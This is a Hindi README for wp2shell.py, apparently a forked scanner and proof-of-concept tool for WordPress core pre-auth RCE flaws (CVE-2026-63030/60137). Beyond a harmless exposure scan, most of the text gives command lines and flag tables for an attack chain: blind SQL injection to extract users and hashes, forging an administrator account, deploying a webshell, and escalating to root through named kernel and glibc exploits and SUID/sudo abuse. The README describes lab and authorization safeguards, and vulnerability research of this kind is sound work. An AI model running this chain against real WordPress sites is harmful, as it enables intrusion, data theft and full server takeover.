
CVE-2026-63030 / CVE-2026-60137 - वर्डप्रेस प्री-ऑथ RCE स्कैनर
@bahartanir (katherinepierce) द्वारा ZephrFish/wp2shell-scanner का फोर्क, अतिरिक्त सुधारों के साथ। Adam Kues (Assetnote) और Mustafa Can İPEKÇİ (nukedx) द्वारा अनुसंधान।
WordPress कोर के wp2shell (CVE-2026-63030 / CVE-2026-60137) के संपर्क का पता लगाने और सत्यापन उपकरण। मोड एक फ्लैग के साथ चुने जाते हैं, और लक्ष्य पोजीशनल होता है। --scan कोर संस्करण का फिंगरप्रिंट लेता है और बिना एक्सप्लॉइट पेलोड भेजे REST /batch/v1 रूट की पहुंच की पुष्टि करता है; --check/--read/--shell/--rce/--root-prereq मोड अधिकृत प्रयोगशाला उपयोग के लिए सत्यापन PoC हैं।
wp2shell.py एक एकल, केवल मानक-लाइब्रेरी स्क्रिप्ट है — कोई बाहरी निर्भरता नहीं। प्रत्येक कॉल चलने से पहले बैनर को stderr पर प्रिंट करता है (यह stdout से दूर रहता है, इसलिए --scan -j JSON आउटपुट अप्रभावित रहता है)।
बिल्कुल एक मोड फ्लैग आवश्यक है; लक्ष्य पोजीशनल है (प्रत्येक मोड के लिए एक URL, या --scan के लिए एक होस्ट सूची)।
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
मूल गहन विवरण: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
एक होस्ट, कई होस्ट, या एक फ़ाइल.
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
विकल्प: -f/--file होस्ट फ़ाइल (प्रति पंक्ति एक), -j/--json JSON आउटपुट,
-t/--threads समवर्तीता (डिफ़ॉल्ट 10).
--check/--read/--shell/--rce/--root-prereq मोड लाइव एक्सप्लॉइट
पेलोड भेजते हैं। उन्हें केवल बंडल किए गए लोकलहोस्ट प्रयोगशाला, या अन्य सिस्टम पर चलाएं जिनके आप मालिक हैं और जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं। --shell और --rce रिमोट कोड निष्पादन करते हैं और प्रयोगशाला/अधिकृत लक्ष्यों के लिए अभिप्रेत हैं; गैर-लूपबैक होस्ट पर --rce के लिए --authorized की आवश्यकता होती है। --root-prereq शेल-टू-रूट पूर्वापेक्षाओं की जांच करने के लिए उसी टोकन-गेटेड डायग्नोस्टिक प्लगइन का उपयोग करता है, लेकिन यह स्थानीय विशेषाधिकार वृद्धि नहीं चलाता है।
--shell को एक रिकवर/क्रैक किए गए एडमिन पासवर्ड की आवश्यकता है। --rce क्रेडेंशियल-रहित प्री-ऑथ चेन है: यह SQLi (oEmbed → changeset → re-entrant parse_request) के माध्यम से अपना स्वयं का प्रशासक बनाता है, फिर वेबशेल तैनात करता है — किसी पासवर्ड की आवश्यकता नहीं।
--shell, --rce, और --root-prereq किसी भी कोड-निष्पादन पेलोड भेजे जाने से पहले इंटरैक्टिव y/N प्राधिकरण के लिए संकेत देते हैं (वे गैर-इंटरैक्टिव/EOF stdin पर रुक जाते हैं)। प्रयोगशाला या अधिकृत लक्ष्य के विरुद्ध ऑटोमेशन के लिए संकेत छोड़ने के लिए -y/--yes पास करें।
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe http://127.0.0.1:8080
PoC को आधार देने के लिए उपयोग किए गए पैच डिफ़ poc/diffs/ के अंतर्गत सहेजे गए हैं, जिनमें poc/RESEARCH.md में शोध नोट्स हैं। SQLi पूरी तरह से author__not_in फिक्स से पुनर्निर्माण योग्य है। क्रेडेंशियल-रहित --rce चेन (oEmbed → changeset → re-entry → admin creation) बंडल प्रयोगशाला के विरुद्ध स्टॉक-डिफ़ॉल्ट RCE को पुन: उत्पन्न करती है; --shell एक रिकवर/क्रैक किए गए एडमिन क्रेडेंशियल के माध्यम से प्रमाणित प्लगइन अपलोड और कमांड निष्पादन का वैकल्पिक पथ है।
--lpe)--lpe पूर्ण प्री-ऑथ RCE (SQLi → admin forge → webshell) को एक स्वचालित रूट एस्केलेशन प्रयास के साथ जोड़ता है। यह निम्नलिखित क्रम में प्रयास करता है, पहली सफलता पर रुक जाता है:
python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y # ऑथ प्रॉम्प्ट छोड़ें
python3 wp2shell.py --lpe https://target --authorized # गैर-लूपबैक
गैर-लूपबैक लक्ष्य पर --lpe के लिए --authorized की आवश्यकता है। बंडल प्रयोगशाला (एक कमजोर GameOverlay कर्नेल के साथ Ubuntu 22.04 बेस इमेज) पर CVE-2023-2640/32629 बिना कंपाइलर के सफल होता है।
| फ्लैग | यह क्या करता है |
|---|
--scan | गैर-विनाशकारी एक्सपोज़र जाँच: संस्करण फिंगरप्रिंट + REST /batch/v1 रूट तक पहुंचने की पुष्टि करता है। कोई एक्सप्लॉइट पेलोड नहीं भेजा जाता। |
--check | एक हानिरहित अंतर जांच के साथ ब्लाइंड टाइम-आधारित SQLi की पुष्टि करता है। |
--read | ब्लाइंड SQLi के माध्यम से डेटा निकालता है (एक प्रीसेट या एक रॉ SQL स्केलर एक्सप्रेशन)। |
--shell | क्रैक/रीकवर किए गए एडमिन पासवर्ड का उपयोग करके प्रमाणित RCE चेन। |
--rce | क्रेडेंशियल-रहित प्री-ऑथ RCE: SQLi के माध्यम से अपना स्वयं का एडमिन बनाता है, फिर एक स्व-सफाई वेबशेल तैनात करता है। |
--root-prereq | सौम्य शेल-टू-रूट पूर्वापेक्षा जाँच; केवल डायग्नोस्टिक्स चलाता है, कभी भी स्थानीय विशेषाधिकार वृद्धि नहीं करता। |
--lpe | पूर्ण चेन: प्री-ऑथ SQLi → एडमिन फोर्ज → वेबशेल → रूट। CVE-2023-2640/32629 (GameOverlay overlayfs), CVE-2023-4911 (Looney Tunables glibc), CVE-2026-31431 (AF_ALG Copy Fail), CVE-2026-23111 (nf_tables UAF probe), फिर SUID/sudo/cap फ़ॉलबैक आज़माता है। |
| फ्लैग | लागू होता है | यह क्या करता है |
|---|
-f, --file | --scan | एक फ़ाइल से होस्ट पढ़ें (प्रति पंक्ति एक; # टिप्पणियां छोड़ी जाती हैं)। |
-j, --json | --scan | stdout पर JSON के रूप में परिणाम उत्सर्जित करें। |
-t, --threads | --scan | स्कैन समवर्तीता (डिफ़ॉल्ट 10)। |
--prefix | --check/--read | DB तालिका उपसर्ग (डिफ़ॉल्ट wp_)। |
--delay | --check/--read | टाइमिंग ओरेकल के लिए इंजेक्ट किए गए SLEEP सेकंड (डिफ़ॉल्ट 0.15)। |
--repeats | --check/--read | प्रति बिट N प्रोब पर माध्यिका; शोर लिंक पर बढ़ाएं (डिफ़ॉल्ट 1)। |
--preset | --read | अंतर्निहित लक्ष्य: version, database, db_user, users, siteurl (डिफ़ॉल्ट users). |
--expr | --read | निकालने के लिए रॉ SQL स्केलर एक्सप्रेशन (--preset को ओवरराइड करता है)। |
--max-len | --read | अधिकतम निकाली गई स्ट्रिंग लंबाई (डिफ़ॉल्ट 128)। |
--user | --shell/--root-prereq | लॉग इन करने के लिए एडमिन उपयोगकर्ता नाम (डिफ़ॉल्ट admin)। |
--password | --shell/--root-prereq | सादा टेक्स्ट एडमिन पासवर्ड (--read से हैश क्रैक करें; इन मोड के लिए आवश्यक)। |
--cmd | --shell/--rce | लक्ष्य पर चलाने के लिए कमांड (डिफ़ॉल्ट id)। |
-i, --interactive | --shell/--rce | एकल कमांड के बजाय इंटरैक्टिव वेब कमांड लूप। |
--no-cleanup | --shell/--rce | ड्रॉप किए गए प्लगइन/वेबशेल को जगह पर छोड़ें (केवल प्रयोगशाला)। |
-y, --yes | --shell/--rce/--root-prereq | इंटरैक्टिव प्राधिकरण संकेत छोड़ें (ऑटोमेशन के लिए)। |
--sleep | --rce | प्री-ऑथ SQLi डिटेक्शन के लिए इंजेक्ट किए गए SLEEP सेकंड (डिफ़ॉल्ट 4). |
--rounds | --rce | --rce डिटेक्शन के लिए N प्रोब पर माध्यिका (डिफ़ॉल्ट 3). |
--route | --rce | बैच रूट फॉर्म: auto, rest-route, या wp-json (डिफ़ॉल्ट auto). |
--proxy | --rce | HTTP प्रॉक्सी के माध्यम से अनुरोध रूट करें, जैसे Burp http://127.0.0.1:8080. |
--authorized | --rce | गैर-लूपबैक --rce लक्ष्य के लिए प्राधिकरण दावा करें (दूरस्थ होस्ट के लिए आवश्यक). |
--timeout | सभी | प्रति-अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट 15). |
| CVE | प्रभावित | तकनीक | कंपाइलर |
|---|
| CVE-2023-2640 / CVE-2023-32629 | Ubuntu 22.04 / 23.04, GameOverlay ड्राइवर के साथ kernel < 6.3.3 | उपयोगकर्ता नेमस्पेस में अनप्रिविलेज्ड overlayfs माउंट ऊपरी निर्देशिका पर chmod +s को संरक्षित करता है | कोई नहीं (शुद्ध शेल) |
| CVE-2023-4911 | glibc 2.34–2.38 (Ubuntu 22.04, Debian 12, Fedora 37–38) | _dl_parse_tunables() में GLIBC_TUNABLES स्टैक ओवरफ्लो → SUID exec पर LD_PRELOAD इंजेक्शन | gcc आवश्यक |
| CVE-2026-31431 | algif_aead + authencesn(hmac(sha256),cbc(aes)) के साथ Linux kernel | AF_ALG AEAD इन-प्लेस ऑप्टिमाइज़ेशन + splice() SUID बाइनरी पेज कैश में 4 बाइट लिखता है; पूर्वापेक्षा प्रोब — AliHzSec/CVE-2026-31431 से लिंक करता है | gcc आवश्यक |
| CVE-2026-23111 | Ubuntu 22.04 / 24.04, Debian Bookworm / Trixie | nf_tables इनवर्टेड चेक UAF nft_map_catchall_activate() में → chain->use अंडरफ्लो → मुक्त श्रृंखला; पूर्वापेक्षा प्रोब — Baba01hacker666/CVE-2026-23111 से लिंक करता है | gcc आवश्यक |
| फ़ॉलबैक | कोई भी | SUID GTFOBins + sudo NOPASSWD दुरुपयोग | कोई नहीं |